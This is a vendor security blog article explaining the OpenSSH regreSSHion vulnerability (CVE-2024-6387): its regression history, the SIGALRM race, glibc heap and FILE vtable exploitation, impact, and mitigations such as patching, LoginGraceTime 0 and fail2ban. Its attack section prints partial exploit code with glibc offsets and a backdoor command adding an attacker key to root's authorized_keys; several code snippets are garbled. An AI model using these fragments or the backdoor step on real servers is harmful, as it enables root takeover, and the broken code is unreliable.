Ekaterina Gainullina, Security Vision
Introduction
CVE-2024-6387, known as regreSSHion, is a critical vulnerability in OpenSSH affecting the server side (sshd) on systems using glibc. The vulnerability was caused by a race condition in the SIGALRM signal handler, which is used to handle timeouts during authentication. The problem is caused by calling signal-insecure functions such as syslog() and malloc() in an asynchronous signal handler environment.
And here we at Security Vision can confidently say: our customers can sleep easy. We keep a close eye on all updates, be it OpenSSH, libraries or other key infrastructure elements. What's more, our solutions actively adapt to new challenges, ensuring reliable protection. After all, securing our customers is not just our job, it's our mission.
Why this vulnerability has caused a stir in the IT community.
The CVE-2024-6387 vulnerability known as regreSSHion has caused quite a furore in the IT community, stirring up both cybersecurity experts and system administrators. At first glance, it may seem like just another bug in popular software. However, its scale, history and technical nuances turned this vulnerability into one of the most discussed incidents of the year.
First of all, it is worth understanding that OpenSSH is, without exaggeration, a fundamental part of server infrastructure. Millions of servers around the world, from cloud giants to humble local machines, use OpenSSH to provide secure remote access. When something in this tool goes wrong, the consequences are felt everywhere. The regreSSHion vulnerability gives attackers the ability to remotely execute arbitrary code with root privileges, i.e. gain full control of the system. This makes it especially dangerous, because the consequences of such an attack can be catastrophic: from data leakage to complete destruction of the infrastructure. But it's not just about the RCE (Remote Code Execution) capability itself, it's about how this vulnerability came back years later. RegreSSHion is the result of a regression caused by changes to the OpenSSH code in 2020. A bug that was closed in 2006 was suddenly "resurrected", bypassing all existing defence mechanisms.
The technical complexity of exploiting the vulnerability makes the situation particularly acute. For a successful attack, an attacker needs to use a race condition in the SIGALRM signal processor. This requires jewellery precision in timing and memory manipulation. The researchers who proved exploitation was possible spent months analysing and developing Proof of Concept. Their work has demonstrated: even such a complex scenario can be successfully realised, which means that a real threat remains.
The widespread coverage of OpenSSH has only heightened concerns. The vulnerability affects both older versions and relatively modern distributions, including the popular Debian 12 and Fedora 37. System administrators literally rushed to check their servers and look for ways to protect themselves. The publication of the PoC exploit only added fuel to the fire, causing many to resort to emergency measures such as disabling the LoginGraceTime parameter, which in turn led to other risks, including DoS attacks.
Interestingly, the vulnerability itself reveals important lessons for the entire community. First, it highlights how critical it is to use asynchronous security features in software, especially where signalling is involved. Second, it reminds us of the importance of defence mechanisms like ASLR and how their weaknesses can be a window of opportunity for attacks. Third, regreSSHion has made many people think about the need to move to more stringent control systems like AppArmor and SELinux.
But perhaps the most important thing this story brings is a sense of vulnerability of even the most trusted and proven tools. OpenSSH has always been considered a model of security and stability. Its code is studied and tested by the best minds in the community. However, even this level of control could not prevent the regression that caused the vulnerability. This emphasises that there are no final victories in security, only a constant struggle that requires care and determination.
The bottom line of this whole story is simple: regreSSHion was not just a vulnerability, but an event that forced everyone in the IT community to rethink their approaches to security. It left a mark in the memory and may have changed the rules of the cybersecurity game forever.
The story: how a regression in OpenSSH code brought back the CVE-2006-5051 vulnerability
CVE-2006-5051 was discovered back in 2006. It was also related to signal processing in OpenSSH. At that time the problem was solved by adding the #ifdef DO_LOG_SAFE_IN_SIGHAND macro, which replaced unsafe function calls with safe actions, such as forced programme termination via _exit(1).
However, in October 2020, in OpenSSH 8.5p1, as a result of code refactoring, this macro was accidentally removed from the sigdie() function. As a result, the signal handler started calling unsafe functions such as syslog() again. This was the reason why the vulnerability was revived.
The peculiarity of CVE-2024-6387 is that it can be considered a "regression error" - code fixed earlier became vulnerable again due to changes that do not take into account the original fix.
Technical description of the vulnerability
CVE-2024-6387 affects the handling of SIGALRM signals in the OpenSSH server (sshd). This signal is used to terminate unauthorised connections after a specified time (LoginGraceTime). The problem is that the signal handler calls functions not designed to work in an asynchronous environment, such as syslog(). These functions use unsafe memory operations, for example, dynamic memory allocation via malloc() and memory release via free().
If signal processing interrupts program execution at a critical moment, it may cause damage to the memory structure. An attacker can induce such a state by creating certain loads on the server and use it to execute his code with superuser rights.
Key aspects of vulnerability:
· Race condition occurs because multiple processes compete for access to the same memory, causing unpredictable behaviour.
· Memory corruption - the SIGALRM signal may abort execution at the moment when the programme has already changed but has not yet finished updating a critical data structure.
· RCE capability - an attacker can manipulate corrupted memory structures to execute arbitrary code.
The vulnerability affects the following versions of OpenSSH:
· OpenSSH 8.5p1 to 9.7p1: these are all versions in which insecure features have been re-integrated into signal processing.
· Glibc-based systems: the vulnerability depends on the glibc standard library. Systems based on other libraries (e.g. OpenBSD) are not affected.
· Popular distributions: systems based on RHEL 9, Fedora 36/37 and Debian 12 are at risk because they use versions of OpenSSH that contain this vulnerability.
Newer versions of OpenSSH (starting with 9.8p1) already contain fixes. If an update is not possible, it is recommended to set LoginGraceTime=0 in the OpenSSH configuration to minimise the risks. However, this solution does not protect against other types of attacks, such as password brute force.
Technical aspects of vulnerability
The technical nature of the CVE-2024-6387 vulnerability is based on a data race in the SIGALRM signal handler that results in memory corruption. When a client connects to an OpenSSH server, it is given a certain amount of time to authenticate, set by the LoginGraceTime parameter. If authorisation is not completed within this time, the server calls the SIGALRM signal handler to close the connection. However, the problem is that this handler uses functions that are not safe to execute in an asynchronous environment. Among them, syslog(), which calls a chain of memory operations through malloc() and free(), occupies a special place.
The main risk is that the SIGALRM signal can interrupt code execution at an arbitrary moment, including operations with dynamic memory. For example, if the main server thread is currently allocating memory with malloc() or freeing it with free(), a sudden call to the signal handler leaves memory structures in an incompletely updated state. This opens the door for an attacker to manipulate the internal data of the memory management system.
In this process, the malloc() and free() functions play a key role, which control memory allocation through structures called heap arenas. Each arena includes lists of free and occupied memory blocks, updated each time malloc() or free() is called. If these functions are interrupted by a signal, the lists can become inconsistent, allowing an attacker to spoof pointers or even execute arbitrary code. For example, an attacker can artificially create a so-called "residual block" in memory, extend it beyond the allocated area and thus write to other memory locations, including critical structures.
The effectiveness of the attack is largely due to the peculiarities of the glibc implementation. In version 2.26, released in 2017, the developers abandoned the use of locks for memory management in single-threaded mode to speed up the malloc() and free() functions. This made them vulnerable to data races, as the interrupts triggered by the signals are not synchronised with the current operations. In addition, the first attempt to call syslog() can activate additional calls to malloc() to create structures such as FILE, which also increases the possibility of an attack.
Another important aspect is the organisation of ASLR (Address Space Layout Randomisation) protection. In modern systems, ASLR makes it difficult to predict the location of key memory locations, but in some distributions, such as Debian, the addresses of libraries, including glibc, remain predictable. This allows an attacker to bypass randomisation, for example by assuming that glibc will be loaded at one of two possible base addresses.
The most sophisticated technique for exploiting the vulnerability is manipulation of the FILE structure used for working with files. This structure contains pointers to virtual function tables (vtable), which determine the behaviour of the program when certain methods are called. An attacker can change value of _vtable_offset or _codecvt inside the FILE structure to redirect program execution to arbitrary code. Such attacks, known as vtable attacks, bypass many standard defence mechanisms.
Thus, the CVE-2024-6387 vulnerability is a combination of several factors: a bug in the OpenSSH signal handler, the peculiarities of glibc and the predictability of memory addresses. Together, they create favourable conditions for a successful attack, allowing an attacker to execute arbitrary code on the server. This underscores the need to implement both OpenSSH patches and system library updates, as well as to revise the signal management policy for critical applications.
Attack mechanics
Step 1: Preparing the connection
The first step is to establish a connection to the target OpenSSH server. The exploit uses the setup_connection function to open a TCP connection to the server on the specified IP and port.
Connection code:
int setup_connection(const char *ip, int port) {intsock = socket(AF_INET, SOCK_STREAM,0);
if(sock <0) {
perror("socket");
return -1;
}struct sockaddr_in server_addr = {0};
server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port);if(inet_pton(AF_INET, ip, &server_addr.sin_addr) <=0) {
perror("inet_pton");
close(sock);return -1;
}if(connect(sock, (structsockaddr *)&server_addr,sizeof(server_addr))) <0) {
perror("connect");
close(sock);return -1;
}returnsock;
}
Example of use:
$ ./exploit 192.168.1.100 22
The code verifies that the connection was successfully established, putting the socket into non-blocking mode for subsequent operations.
Step 2: Initialising an SSH session
A basic SSH handshake, including sending the client version, exchanging KEX_INIT (key exchange) packets, is required to communicate with the server.
Handshake Code:
void send_ssh_version(int sock) {const char*ssh_version ="SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
send(sock, ssh_version,strlen(ssh_version),0);
}
Step 3: Preparing the heap
The key goal of the exploit is to manipulate memory through a specific heap structure. In this step, "holes" (free memory blocks) and "barriers" (occupied blocks) are created.
Code snippet:
void prepare_heap(int sock) { // Create an array of large and small holes for (int i = 0; i < 27; i++) { unsigned char large_hole[8192]; memset(large_hole, 'B', sizeof(large_hole)); send_packet(sock, 5, large_hole, sizeof(large_hole)); unsigned char small_hole[320]; memset(small_hole, 'C', sizeof(small_hole)); send_packet(sock, 5, small_hole, sizeof(small_hole)); }}
This is where the code sends packets, creating the necessary memory structure.
Step 4: Activating the data race
The exploit uses the SIGALRM signal to interrupt the execution of a critical function, such as malloc(), at just the right moment.
Time Measurement Code:
double measure_response_time(int sock, int error_type) { struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, &start); send_packet(sock, 50, error_packet, packet_size); clock_gettime(CLOCK_MONOTONIC, &end); return (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;}
As a result of the measurements, the exploit determines the exact moment to send the last byte of the packet to activate the vulnerability.
Step 5: Memory Damage
The exploit uses heap manipulation to overwrite critical memory structures. In this case it is the FILE structure used by the fopen() function.
Creating a fake FILE structure:
void create_fake_file_structure(unsigned char *data, size_t size, uint64_t glibc_base) { struct { void *_IO_read_ptr, *_IO_read_end, *_IO_write_base, *_IO_write_ptr; int _fileno, _flags; char _unused2[40]; void *_vtable_offset; } *fake_file = (void *)data; fake_file->_vtable_offset = (void *)0x61; // Virtual table offset *(uint64_t *)(data + size - 16) = glibc_base + 0x21b740; // fake vtable *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake codecvt}
Step 6: Executing shellcode
After successful operation, the overwritten FILE points to the shellcode.
When the vulnerable fopen() function is called, shellcode is executed, allowing an attacker to gain full control of the server.
Results of successful operation
1. Remote code execution with root privileges
The vulnerability allows an attacker to execute arbitrary code with root privileges on the attacked server. This is achieved by:
· Overwrites critical memory structures such as FILE and _codecvt.
· Running shellcode through corrupted system calls.
The attacker can access the command shell with root privileges. From this point, the attacker can fully control the server.
2. Possibility of installing backdoors or compromising the system
By gaining access to the server, an attacker can:
- Install a backdoor: Placing Trojans or modules that provide persistent access. For example, adding an attacker's public key to ~/.ssh/authorised_keys:
echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorised_keys
- Modify system files: Modify configurations such as sshd_config to disable logging or increase server response time.
- Compromise data: Gaining access to files, databases, or other critical system resources.
Example scenario: An installed backdoor allows an attacker to connect to the server even after the primary vulnerability has been fixed.
3. Potential server crash
In a failed exploitation or a deliberate attack, an attacker can cause a server to crash, resulting in a denial of service (DoS). This is possible through:
· Memory corruption: Incorrect modification of data structures in the heap leads to unpredictable behaviour and termination of processes.
· Server resource usage: Running malicious code that generates infinite loops or consumes all available memory and CPU time.
Final impact
1. Server compromise: The attacker gains full control of the system.
2. Data loss: Theft or destruction of confidential information is possible.
3. Business risks: Damage to the company's reputation, financial losses and security breaches.
4. Attacker's prolonged access: If backdoors go undetected, an attacker can use the server for further attacks on other systems.
How do I protect myself?
1. Installing patches for OpenSSH
The most reliable way to protect yourself is to update OpenSSH to a version that fixes the vulnerability. OpenSSH developers fixed the problem in a patch by replacing asynchronously unsafe calls in the SIGALRM signal handler with safe operations.
Important: If using newer versions is not possible, you can rebuild OpenSSH with modified code, removing unsafe calls:
sshsigdie(...) { #ifdef DO_LOG_SAFE_IN_SIGHAND syslog(...); // comment out or replace with _exit(1) #endif}
2. Setting LoginGraceTime=0
Reducing the authorisation wait time on the server is a temporary measure to prevent exploitation of the data race in SIGALRM.
What to do:
· Open the OpenSSH configuration file:
sudo nano /etc/ssh/sshd_config
· Find or add a line:
LoginGraceTime 0
· Restart OpenSSH:
sudo systemctl restart sshd
Sessions that do not authenticate instantly will be terminated, precluding exploitation.
3. monitoring SSH connection activity
Early detection of attempts to exploit a vulnerability can help prevent its successful implementation.
Recommended Steps:
1. Enable logging: In the /etc/ssh/sshd_config file, configure:
LogLevel VERBOSE
This will allow the details of each connection attempt to be recorded.
2. Install fail2ban: Fail2ban automatically blocks IP addresses suspicious of multiple failed connection attempts.
3. Configure jail for SSH in /etc/fail2ban/jail.local:
[sshd]enabled = trueport = sshlogpath = /var/log/auth.logmaxretry = 3
4. Use monitoring tools: Tools like htop, netstat or ss can help you monitor suspicious connections.
sudo ss -tuna | grep ESTAB
In lieu of a conclusion
This vulnerability has left a deep mark, providing an example of how a carefully planned attack can bypass defences. But it also provided the community with a new experience, enriching the arsenal of both security professionals and administrators on the front lines of infrastructure protection. RegreSSHion is not only a challenge, but also a lesson that made us rethink the principles of creating, analysing and protecting software.